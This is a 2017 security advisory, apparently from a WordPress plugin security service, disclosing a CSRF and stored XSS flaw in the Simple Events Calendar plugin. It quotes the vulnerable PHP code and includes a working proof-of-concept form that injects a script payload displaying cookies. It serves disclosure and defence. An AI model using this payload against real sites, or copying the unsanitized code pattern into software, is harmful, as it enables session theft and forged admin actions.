21 Nov 2017

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simple Events Calendar

While looking in to what turned out be a false report of a vulnerability in the plugin Simple Events Calendar, we noticed there is a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability in the plugin.

When the plugin’s admin page is requested, the function that generates that page checks if a new event has been submitted with the request using the following code (in the file /simple-events-calendar.php):

155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
if(isset($_POST['store_event'])) {
	if($_POST['event']['event_title']) { // New entries at least have to have a title, if none then nothing is written to DB
		global $wpdb;						
		$table_name = $wpdb->prefix . "simple_events";
		$event = $_POST['event'];
		$event_start = mktime($event['event_start_hr'],$event['event_start_mn'],0,$event['event_start_month'],$event['event_start_day'],$event['event_start_yr']);
		$event_end = mktime($event['event_end_hr'],$event['event_end_mn'],0,$event['event_end_month'],$event['event_end_day'],$event['event_end_yr']);
		$newEvent['event_start'] = $event_start;
		$newEvent['event_end'] = $event_end;
		$newEvent['event_title'] = $event['event_title'];
		$newEvent['event_desc'] = $event['event_desc'];
		$newEvent['event_url'] = str_replace(" ", "", $event['event_url']);
		$newEvent['event_loc'] = $event['event_loc'];
		$newEvent['event_loc_url'] = str_replace(" ", "", $event['event_loc_url']);
		$newEvent['event_label'] = strtolower(str_replace(" ", "", $event['event_label']));
 
		$wpdb->insert( $table_name, $newEvent );

That code doesn’t check for a valid nonce, so it is susceptible to cross-site request forgery (CSRF). That code saves user input, from the POST input “event”, without doing any sanitization.

The same is true for similar code right below that code for updating an event.

Then for example, on line 693 of the file the value of one of the items taken from user input, “event_title”, is output without being escaped:

<th class="eventtitle" colspan="3"><form method="post"><input type="hidden" name="event_id" value="<?php echo $details['id'];?>" /><input type="submit" name="edit" value="<?php _e('Edit',SE_TEXTDOMAIN);?>" class="iconsprite editicon" /><input type="submit" name="delete" value="<?php _e('Remove',SE_TEXTDOMAIN);?>" class="iconsprite binicon" /></form> <?php echo stripslashes($details['event_title']);?></th>

The lack of sanitization and escaping leads to the possibility of cross-site scripting (XSS).

We notified the developer of issue on November 10. We have yet to hear back from them and the vulnerability has not been fixed so far. The plugin was last updated nearly a year ago, so it may no longer be supported. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=simple-events, when submitted while logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=simple-events" method="POST">
<input type="hidden" name="store_event" value="test" />
<input type="hidden" name="event[event_title]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="event[event_loc]" value="" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • November 10, 2017 – Developer notified.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.